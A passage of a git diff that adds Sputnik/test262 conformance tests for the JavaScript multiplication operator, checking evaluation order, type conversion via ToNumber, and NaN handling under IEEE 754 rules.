+ $ERROR('#7.1: 1 * {valueOf: function() {throw "error"}, toString: function() {return 1}} throw "error". Actual: ' + (1 * {valueOf: function() {throw "error"}, toString: function() {return 1}}));
+}
+catch (e) {
+ if (e !== "error") {
+ $ERROR('#7.2: 1 * {valueOf: function() {throw "error"}, toString: function() {return 1}} throw "error". Actual: ' + (e));
+ }
+}
+
+//CHECK#8
+try {
+ 1 * {valueOf: function() {return {}}, toString: function() {return {}}};
+ $ERROR('#8.1: 1 * {valueOf: function() {return {}}, toString: function() {return {}}} throw TypeError. Actual: ' + (1 * {valueOf: function() {return {}}, toString: function() {return {}}}));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#8.2: 1 * {valueOf: function() {return {}}, toString: function() {return {}}} throw TypeError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A2.3_T1.js b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A2.3_T1.js
new file mode 100644
index 000000000..ba58724a9
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A2.3_T1.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * ToNumber(first expression) is called first, and then ToNumber(second expression)
+ *
+ * @path ch11/11.5/11.5.1/S11.5.1_A2.3_T1.js
+ * @description Checking with "throw"
+ */
+
+//CHECK#1
+var x = { valueOf: function () { throw "x"; } };
+var y = { valueOf: function () { throw "y"; } };
+try {
+ x * y;
+ $ERROR('#1.1: var x = { valueOf: function () { throw "x"; } }; var y = { valueOf: function () { throw "y"; } }; x * y throw "x". Actual: ' + (x * y));
+} catch (e) {
+ if (e === "y") {
+ $ERROR('#1.2: ToNumber(first expression) is called first, and then ToNumber(second expression)');
+ } else {
+ if (e !== "x") {
+ $ERROR('#1.3: var x = { valueOf: function () { throw "x"; } }; var y = { valueOf: function () { throw "y"; } }; x * y throw "x". Actual: ' + (e));
+ }
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A2.4_T1.js b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A2.4_T1.js
new file mode 100644
index 000000000..504923aee
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A2.4_T1.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.5/11.5.1/S11.5.1_A2.4_T1.js
+ * @description Checking with "="
+ */
+
+//CHECK#1
+var x = 0;
+if ((x = 1) * x !== 1) {
+ $ERROR('#1: var x = 0; (x = 1) * x === 1. Actual: ' + ((x = 1) * x));
+}
+
+//CHECK#2
+var x = 0;
+if (x * (x = 1) !== 0) {
+ $ERROR('#2: var x = 0; x * (x = 1) === 0. Actual: ' + (x * (x = 1)));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A2.4_T2.js b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A2.4_T2.js
new file mode 100644
index 000000000..262f2e7fc
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A2.4_T2.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.5/11.5.1/S11.5.1_A2.4_T2.js
+ * @description Checking with "throw"
+ */
+
+//CHECK#1
+var x = function () { throw "x"; };
+var y = function () { throw "y"; };
+try {
+ x() * y();
+ $ERROR('#1.1: var x = function () { throw "x"; }; var y = function () { throw "y"; }; x() * y() throw "x". Actual: ' + (x() * y()));
+} catch (e) {
+ if (e === "y") {
+ $ERROR('#1.2: First expression is evaluated first, and then second expression');
+ } else {
+ if (e !== "x") {
+ $ERROR('#1.3: var x = function () { throw "x"; }; var y = function () { throw "y"; }; x() * y() throw "x". Actual: ' + (e));
+ }
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A2.4_T3.js b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A2.4_T3.js
new file mode 100644
index 000000000..edcb5e006
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A2.4_T3.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.5/11.5.1/S11.5.1_A2.4_T3.js
+ * @description Checking with undeclarated variables
+ */
+
+//CHECK#1
+try {
+ x * (x = 1);
+ $ERROR('#1.1: x * (x = 1) throw ReferenceError. Actual: ' + (x * (x = 1)));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x * (x = 1) throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+//CHECK#2
+if ((y = 1) * y !== 1) {
+ $ERROR('#2: (y = 1) * y === 1. Actual: ' + ((y = 1) * y));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A3_T1.1.js b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A3_T1.1.js
new file mode 100644
index 000000000..de1e6dfdb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A3_T1.1.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x * y returns ToNumber(x) * ToNumber(y)
+ *
+ * @path ch11/11.5/11.5.1/S11.5.1_A3_T1.1.js
+ * @description Type(x) and Type(y) vary between primitive boolean and Boolean object
+ */
+
+//CHECK#1
+if (true * true !== 1) {
+ $ERROR('#1: true * true === 1. Actual: ' + (true * true));
+}
+
+//CHECK#2
+if (new Boolean(true) * true !== 1) {
+ $ERROR('#2: new Boolean(true) * true === 1. Actual: ' + (new Boolean(true) * true));
+}
+
+//CHECK#3
+if (true * new Boolean(true) !== 1) {
+ $ERROR('#3: true * new Boolean(true) === 1. Actual: ' + (true * new Boolean(true)));
+}
+
+//CHECK#4
+if (new Boolean(true) * new Boolean(true) !== 1) {
+ $ERROR('#4: new Boolean(true) * new Boolean(true) === 1. Actual: ' + (new Boolean(true) * new Boolean(true)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A3_T1.2.js b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A3_T1.2.js
new file mode 100644
index 000000000..1e0a49387
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A3_T1.2.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x * y returns ToNumber(x) * ToNumber(y)
+ *
+ * @path ch11/11.5/11.5.1/S11.5.1_A3_T1.2.js
+ * @description Type(x) and Type(y) vary between primitive number and Number object
+ */
+
+//CHECK#1
+if (1 * 1 !== 1) {
+ $ERROR('#1: 1 * 1 === 1. Actual: ' + (1 * 1));
+}
+
+//CHECK#2
+if (new Number(1) * 1 !== 1) {
+ $ERROR('#2: new Number(1) * 1 === 1. Actual: ' + (new Number(1) * 1));
+}
+
+//CHECK#3
+if (1 * new Number(1) !== 1) {
+ $ERROR('#3: 1 * new Number(1) === 1. Actual: ' + (1 * new Number(1)));
+}
+
+//CHECK#4
+if (new Number(1) * new Number(1) !== 1) {
+ $ERROR('#4: new Number(1) * new Number(1) === 1. Actual: ' + (new Number(1) * new Number(1)));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A3_T1.3.js b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A3_T1.3.js
new file mode 100644
index 000000000..e04ab70ea
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A3_T1.3.js
@@ -0,0 +1,40 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x * y returns ToNumber(x) * ToNumber(y)
+ *
+ * @path ch11/11.5/11.5.1/S11.5.1_A3_T1.3.js
+ * @description Type(x) and Type(y) vary between primitive string and String object
+ */
+
+//CHECK#1
+if ("1" * "1" !== 1) {
+ $ERROR('#1: "1" * "1" === 1. Actual: ' + ("1" * "1"));
+}
+
+//CHECK#2
+if (new String("1") * "1" !== 1) {
+ $ERROR('#2: new String("1") * "1" === 1. Actual: ' + (new String("1") * "1"));
+}
+
+//CHECK#3
+if ("1" * new String("1") !== 1) {
+ $ERROR('#3: "1" * new String("1") === 1. Actual: ' + ("1" * new String("1")));
+}
+
+//CHECK#4
+if (new String("1") * new String("1") !== 1) {
+ $ERROR('#4: new String("1") * new String("1") === 1. Actual: ' + (new String("1") * new String("1")));
+}
+
+//CHECK#5
+if (isNaN("x" * "1") !== true) {
+ $ERROR('#5: "x" * "1" === Not-a-Number. Actual: ' + ("x" * "1"));
+}
+
+//CHECK#6
+if (isNaN("1" * "x") !== true) {
+ $ERROR('#6: "1" * "x" === Not-a-Number. Actual: ' + ("1" * "x"));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A3_T1.4.js b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A3_T1.4.js
new file mode 100644
index 000000000..2dbe84f97
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A3_T1.4.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x * y returns ToNumber(x) * ToNumber(y)
+ *
+ * @path ch11/11.5/11.5.1/S11.5.1_A3_T1.4.js
+ * @description Type(x) and Type(y) vary between Null and Undefined
+ */
+
+//CHECK#1
+if (isNaN(null * undefined) !== true) {
+ $ERROR('#1: null * undefined === Not-a-Number. Actual: ' + (null * undefined));
+}
+
+//CHECK#2
+if (isNaN(undefined * null) !== true) {
+ $ERROR('#2: undefined * null === Not-a-Number. Actual: ' + (undefined * null));
+}
+
+//CHECK#3
+if (isNaN(undefined * undefined) !== true) {
+ $ERROR('#3: undefined * undefined === Not-a-Number. Actual: ' + (undefined * undefined));
+}
+
+//CHECK#4
+if (null * null !== 0) {
+ $ERROR('#4: null * null === 0. Actual: ' + (null * null));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A3_T1.5.js b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A3_T1.5.js
new file mode 100644
index 000000000..061e0ff27
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A3_T1.5.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x * y returns ToNumber(x) * ToNumber(y)
+ *
+ * @path ch11/11.5/11.5.1/S11.5.1_A3_T1.5.js
+ * @description Type(x) and Type(y) vary between Object object and Function object
+ */
+
+//CHECK#1
+if (isNaN({} * function(){return 1}) !== true) {
+ $ERROR('#1: {} * function(){return 1} === Not-a-Number. Actual: ' + ({} * function(){return 1}));
+}
+
+//CHECK#2
+if (isNaN(function(){return 1} * {}) !== true) {
+ $ERROR('#2: function(){return 1} * {} === Not-a-Number. Actual: ' + (function(){return 1} * {}));
+}
+
+//CHECK#3
+if (isNaN(function(){return 1} * function(){return 1}) !== true) {
+ $ERROR('#3: function(){return 1} * function(){return 1} === Not-a-Number. Actual: ' + (function(){return 1} * function(){return 1}));
+}
+
+//CHECK#4
+if (isNaN({} * {}) !== true) {
+ $ERROR('#4: {} * {} === Not-a-Number. Actual: ' + ({} * {}));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A3_T2.1.js b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A3_T2.1.js
new file mode 100644
index 000000000..08a913b95
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A3_T2.1.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x * y returns ToNumber(x) * ToNumber(y)
+ *
+ * @path ch11/11.5/11.5.1/S11.5.1_A3_T2.1.js
+ * @description Type(x) is different from Type(y) and both types vary between Boolean (primitive or object) and Number (primitive and object)
+ */
+
+//CHECK#1
+if (true * 1 !== 1) {
+ $ERROR('#1: true * 1 === 1. Actual: ' + (true * 1));
+}
+
+//CHECK#2
+if (1 * true !== 1) {
+ $ERROR('#2: 1 * true === 1. Actual: ' + (1 * true));
+}
+
+//CHECK#3
+if (new Boolean(true) * 1 !== 1) {
+ $ERROR('#3: new Boolean(true) * 1 === 1. Actual: ' + (new Boolean(true) * 1));
+}
+
+//CHECK#4
+if (1 * new Boolean(true) !== 1) {
+ $ERROR('#4: 1 * new Boolean(true) === 1. Actual: ' + (1 * new Boolean(true)));
+}
+
+//CHECK#5
+if (true * new Number(1) !== 1) {
+ $ERROR('#5: true * new Number(1) === 1. Actual: ' + (true * new Number(1)));
+}
+
+//CHECK#6
+if (new Number(1) * true !== 1) {
+ $ERROR('#6: new Number(1) * true === 1. Actual: ' + (new Number(1) * true));
+}
+
+//CHECK#7
+if (new Boolean(true) * new Number(1) !== 1) {
+ $ERROR('#7: new Boolean(true) * new Number(1) === 1. Actual: ' + (new Boolean(true) * new Number(1)));
+}
+
+//CHECK#8
+if (new Number(1) * new Boolean(true) !== 1) {
+ $ERROR('#8: new Number(1) * new Boolean(true) === 1. Actual: ' + (new Number(1) * new Boolean(true)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A3_T2.2.js b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A3_T2.2.js
new file mode 100644
index 000000000..063c4da9e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A3_T2.2.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x * y returns ToNumber(x) * ToNumber(y)
+ *
+ * @path ch11/11.5/11.5.1/S11.5.1_A3_T2.2.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and String (primitive and object)
+ */
+
+//CHECK#1
+if ("1" * 1 !== 1) {
+ $ERROR('#1: "1" * 1 === 1. Actual: ' + ("1" * 1));
+}
+
+//CHECK#2
+if (1 * "1" !== 1) {
+ $ERROR('#2: 1 * "1" === 1. Actual: ' + (1 * "1"));
+}
+
+//CHECK#3
+if (new String("1") * 1 !== 1) {
+ $ERROR('#3: new String("1") * 1 === 1. Actual: ' + (new String("1") * 1));
+}
+
+//CHECK#4
+if (1 * new String("1") !== 1) {
+ $ERROR('#4: 1 * new String("1") === 1. Actual: ' + (1 * new String("1")));
+}
+
+//CHECK#5
+if ("1" * new Number(1) !== 1) {
+ $ERROR('#5: "1" * new Number(1) === 1. Actual: ' + ("1" * new Number(1)));
+}
+
+//CHECK#6
+if (new Number(1) * "1" !== 1) {
+ $ERROR('#6: new Number(1) * "1" === 1. Actual: ' + (new Number(1) * "1"));
+}
+
+//CHECK#7
+if (new String("1") * new Number(1) !== 1) {
+ $ERROR('#7: new String("1") * new Number(1) === 1. Actual: ' + (new String("1") * new Number(1)));
+}
+
+//CHECK#8
+if (new Number(1) * new String("1") !== 1) {
+ $ERROR('#8: new Number(1) * new String("1") === 1. Actual: ' + (new Number(1) * new String("1")));
+}
+
+//CHECK#9
+if (isNaN("x" * 1) !== true) {
+ $ERROR('#9: "x" * 1 === Not-a-Number. Actual: ' + ("x" * 1));
+}
+
+//CHECK#10
+if (isNaN(1 * "x") !== true) {
+ $ERROR('#10: 1 * "x" === Not-a-Number. Actual: ' + (1 * "x"));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A3_T2.3.js b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A3_T2.3.js
new file mode 100644
index 000000000..cfab7ba6b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A3_T2.3.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x * y returns ToNumber(x) * ToNumber(y)
+ *
+ * @path ch11/11.5/11.5.1/S11.5.1_A3_T2.3.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Null
+ */
+
+//CHECK#1
+if (1 * null !== 0) {
+ $ERROR('#1: 1 * null === 0. Actual: ' + (1 * null));
+}
+
+//CHECK#2
+if (null * 1 !== 0) {
+ $ERROR('#2: null * 1 === 0. Actual: ' + (null * 1));
+}
+
+//CHECK#3
+if (new Number(1) * null !== 0) {
+ $ERROR('#3: new Number(1) * null === 0. Actual: ' + (new Number(1) * null));
+}
+
+//CHECK#4
+if (null * new Number(1) !== 0) {
+ $ERROR('#4: null * new Number(1) === 0. Actual: ' + (null * new Number(1)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A3_T2.4.js b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A3_T2.4.js
new file mode 100644
index 000000000..0216310cf
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A3_T2.4.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x * y returns ToNumber(x) * ToNumber(y)
+ *
+ * @path ch11/11.5/11.5.1/S11.5.1_A3_T2.4.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Undefined
+ */
+
+//CHECK#1
+if (isNaN(1 * undefined) !== true) {
+ $ERROR('#1: 1 * undefined === Not-a-Number. Actual: ' + (1 * undefined));
+}
+
+//CHECK#2
+if (isNaN(undefined * 1) !== true) {
+ $ERROR('#2: undefined * 1 === Not-a-Number. Actual: ' + (undefined * 1));
+}
+
+//CHECK#3
+if (isNaN(new Number(1) * undefined) !== true) {
+ $ERROR('#3: new Number(1) * undefined === Not-a-Number. Actual: ' + (new Number(1) * undefined));
+}
+
+//CHECK#4
+if (isNaN(undefined * new Number(1)) !== true) {
+ $ERROR('#4: undefined * new Number(1) === Not-a-Number. Actual: ' + (undefined * new Number(1)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A3_T2.5.js b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A3_T2.5.js
new file mode 100644
index 000000000..5d92d9827
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A3_T2.5.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x * y returns ToNumber(x) * ToNumber(y)
+ *
+ * @path ch11/11.5/11.5.1/S11.5.1_A3_T2.5.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Boolean (primitive and object)
+ */
+
+//CHECK#1
+if (true * "1" !== 1) {
+ $ERROR('#1: true * "1" === 1. Actual: ' + (true * "1"));
+}
+
+//CHECK#2
+if ("1" * true !== 1) {
+ $ERROR('#2: "1" * true === 1. Actual: ' + ("1" * true));
+}
+
+//CHECK#3
+if (new Boolean(true) * "1" !== 1) {
+ $ERROR('#3: new Boolean(true) * "1" === 1. Actual: ' + (new Boolean(true) * "1"));
+}
+
+//CHECK#4
+if ("1" * new Boolean(true) !== 1) {
+ $ERROR('#4: "1" * new Boolean(true) === 1. Actual: ' + ("1" * new Boolean(true)));
+}
+
+//CHECK#5
+if (true * new String("1") !== 1) {
+ $ERROR('#5: true * new String("1") === 1. Actual: ' + (true * new String("1")));
+}
+
+//CHECK#6
+if (new String("1") * true !== 1) {
+ $ERROR('#6: new String("1") * true === 1. Actual: ' + (new String("1") * true));
+}
+
+//CHECK#7
+if (new Boolean(true) * new String("1") !== 1) {
+ $ERROR('#7: new Boolean(true) * new String("1") === 1. Actual: ' + (new Boolean(true) * new String("1")));
+}
+
+//CHECK#8
+if (new String("1") * new Boolean(true) !== 1) {
+ $ERROR('#8: new String("1") * new Boolean(true) === 1. Actual: ' + (new String("1") * new Boolean(true)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A3_T2.6.js b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A3_T2.6.js
new file mode 100644
index 000000000..429683ff2
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A3_T2.6.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x * y returns ToNumber(x) * ToNumber(y)
+ *
+ * @path ch11/11.5/11.5.1/S11.5.1_A3_T2.6.js
+ * @description Type(x) is different from Type(y) and both types vary between primitive String (primitive or object) and Undefined
+ */
+
+//CHECK#1
+if (isNaN("1" * undefined) !== true) {
+ $ERROR('#1: "1" * undefined === Not-a-Number. Actual: ' + ("1" * undefined));
+}
+
+//CHECK#2
+if (isNaN(undefined * "1") !== true) {
+ $ERROR('#2: undefined * "1" === Not-a-Number. Actual: ' + (undefined * "1"));
+}
+
+//CHECK#3
+if (isNaN(new String("1") * undefined) !== true) {
+ $ERROR('#3: new String("1") * undefined === Not-a-Number. Actual: ' + (new String("1") * undefined));
+}
+
+//CHECK#4
+if (isNaN(undefined * new String("1")) !== true) {
+ $ERROR('#4: undefined * new String("1") === Not-a-Number. Actual: ' + (undefined * new String("1")));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A3_T2.7.js b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A3_T2.7.js
new file mode 100644
index 000000000..786f23057
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A3_T2.7.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x * y returns ToNumber(x) * ToNumber(y)
+ *
+ * @path ch11/11.5/11.5.1/S11.5.1_A3_T2.7.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Null
+ */
+
+//CHECK#1
+if ("1" * null !== 0) {
+ $ERROR('#1: "1" * null === 0. Actual: ' + ("1" * null));
+}
+
+//CHECK#2
+if (null * "1" !== 0) {
+ $ERROR('#2: null * "1" === 0. Actual: ' + (null * "1"));
+}
+
+//CHECK#3
+if (new String("1") * null !== 0) {
+ $ERROR('#3: new String("1") * null === 0. Actual: ' + (new String("1") * null));
+}
+
+//CHECK#4
+if (null * new String("1") !== 0) {
+ $ERROR('#4: null * new String("1") === 0. Actual: ' + (null * new String("1")));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A3_T2.8.js b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A3_T2.8.js
new file mode 100644
index 000000000..ef7ae0503
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A3_T2.8.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x * y returns ToNumber(x) * ToNumber(y)
+ *
+ * @path ch11/11.5/11.5.1/S11.5.1_A3_T2.8.js
+ * @description Type(x) is different from Type(y) and both types vary between Boolean (primitive or object) and Undefined
+ */
+
+//CHECK#1
+if (isNaN(true * undefined) !== true) {
+ $ERROR('#1: true * undefined === Not-a-Number. Actual: ' + (true * undefined));
+}
+
+//CHECK#2
+if (isNaN(undefined * true) !== true) {
+ $ERROR('#2: undefined * true === Not-a-Number. Actual: ' + (undefined * true));
+}
+
+//CHECK#3
+if (isNaN(new Boolean(true) * undefined) !== true) {
+ $ERROR('#3: new Boolean(true) * undefined === Not-a-Number. Actual: ' + (new Boolean(true) * undefined));
+}
+
+//CHECK#4
+if (isNaN(undefined * new Boolean(true)) !== true) {
+ $ERROR('#4: undefined * new Boolean(true) === Not-a-Number. Actual: ' + (undefined * new Boolean(true)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A3_T2.9.js b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A3_T2.9.js
new file mode 100644
index 000000000..377cb00f0
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A3_T2.9.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x * y returns ToNumber(x) * ToNumber(y)
+ *
+ * @path ch11/11.5/11.5.1/S11.5.1_A3_T2.9.js
+ * @description Type(x) is different from Type(y) and both types vary between Boolean (primitive or object) and Null
+ */
+
+//CHECK#1
+if (true * null !== 0) {
+ $ERROR('#1: true * null === 0. Actual: ' + (true * null));
+}
+
+//CHECK#2
+if (null * true !== 0) {
+ $ERROR('#2: null * true === 0. Actual: ' + (null * true));
+}
+
+//CHECK#3
+if (new Boolean(true) * null !== 0) {
+ $ERROR('#3: new Boolean(true) * null === 0. Actual: ' + (new Boolean(true) * null));
+}
+
+//CHECK#4
+if (null * new Boolean(true) !== 0) {
+ $ERROR('#4: null * new Boolean(true) === 0. Actual: ' + (null * new Boolean(true)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A4_T1.1.js b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A4_T1.1.js
new file mode 100644
index 000000000..d3b5006ce
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A4_T1.1.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The result of a floating-point multiplication is governed by the rules of IEEE 754 double-precision arithmetics
+ *
+ * @path ch11/11.5/11.5.1/S11.5.1_A4_T1.1.js
+ * @description If left operand is NaN, the result is NaN
+ */
+
+//CHECK#1
+if (isNaN(Number.NaN * Number.NaN) !== true) {
+ $ERROR('#1: NaN * NaN === Not-a-Number. Actual: ' + (NaN * NaN));
+}
+
+//CHECK#2
+if (isNaN(Number.NaN * +0) !== true) {
+ $ERROR('#2: NaN * +0 === Not-a-Number. Actual: ' + (NaN * +0));
+}
+
+//CHECK#3
+if (isNaN(Number.NaN * -0) !== true) {
+ $ERROR('#3: NaN * -0 === Not-a-Number. Actual: ' + (NaN * -0));
+}
+
+//CHECK#4
+if (isNaN(Number.NaN * Number.POSITIVE_INFINITY) !== true) {
+ $ERROR('#4: NaN * Infinity === Not-a-Number. Actual: ' + (NaN * Infinity));
+}
+
+//CHECK#5
+if (isNaN(Number.NaN * Number.NEGATIVE_INFINITY) !== true) {
+ $ERROR('#5: NaN * -Infinity === Not-a-Number. Actual: ' + (NaN * -Infinity));
+}
+
+//CHECK#6
+if (isNaN(Number.NaN * Number.MAX_VALUE) !== true) {
+ $ERROR('#6: NaN * Number.MAX_VALUE === Not-a-Number. Actual: ' + (NaN * Number.MAX_VALUE));
+}
+
+//CHECK#7
+if (isNaN(Number.NaN * Number.MIN_VALUE) !== true) {
+ $ERROR('#7: NaN * Number.MIN_VALUE === Not-a-Number. Actual: ' + (NaN * Number.MIN_VALUE));
+}
+
+//CHECK#8
+if (isNaN(Number.NaN * 1) !== true) {
+ $ERROR('#8: NaN * 1 === Not-a-Number. Actual: ' + (NaN * 1));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A4_T1.2.js b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A4_T1.2.js
new file mode 100644
index 000000000..2f1d7c1c0
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.1/S11.5.1_A4_T1.2.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The result of a floating-point multiplication is governed by the rules of IEEE 754 double-precision arithmetics
+ *
+ * @path ch11/11.5/11.5.1/S11.5.1_A4_T1.2.js
+ * @description If right operand is NaN, the result is NaN
+ */
+
+//CHECK#1
+if (isNaN(Number.NaN * Number.NaN) !== true) {
+ $ERROR('#1: NaN * NaN === Not-a-Number. Actual: ' + (NaN * NaN));
+}
+
+//CHECK#2
+if (isNaN(+0 * Number.NaN) !== true) {
+ $ERROR('#2: +0 * NaN === Not-a-Number. Actual: ' + (+0 * NaN));
+}
+
+//CHECK#3
+if (isNaN(-0 * Number.NaN) !== true) {
+ $ERROR('#3: -0 * NaN === Not-a-Number. Actual: ' + (-0 * NaN));
+}
+
+//CHECK#4
+if (isNaN(Number.POSITIVE_INFINITY * Number.NaN) !== true) {
+ $ERROR('#4: Infinity * NaN === Not-a-Number. Actual: ' + (Infinity * NaN));
+}
+
+//CHECK#5
+if (isNaN(Number.NEGATIVE_INFINITY * Number.NaN) !== true) {
+ $ERROR('#5: -Infinity * NaN === Not-a-Number. Actual: ' + ( -Infinity * NaN));
+}
+
+//CHECK#6
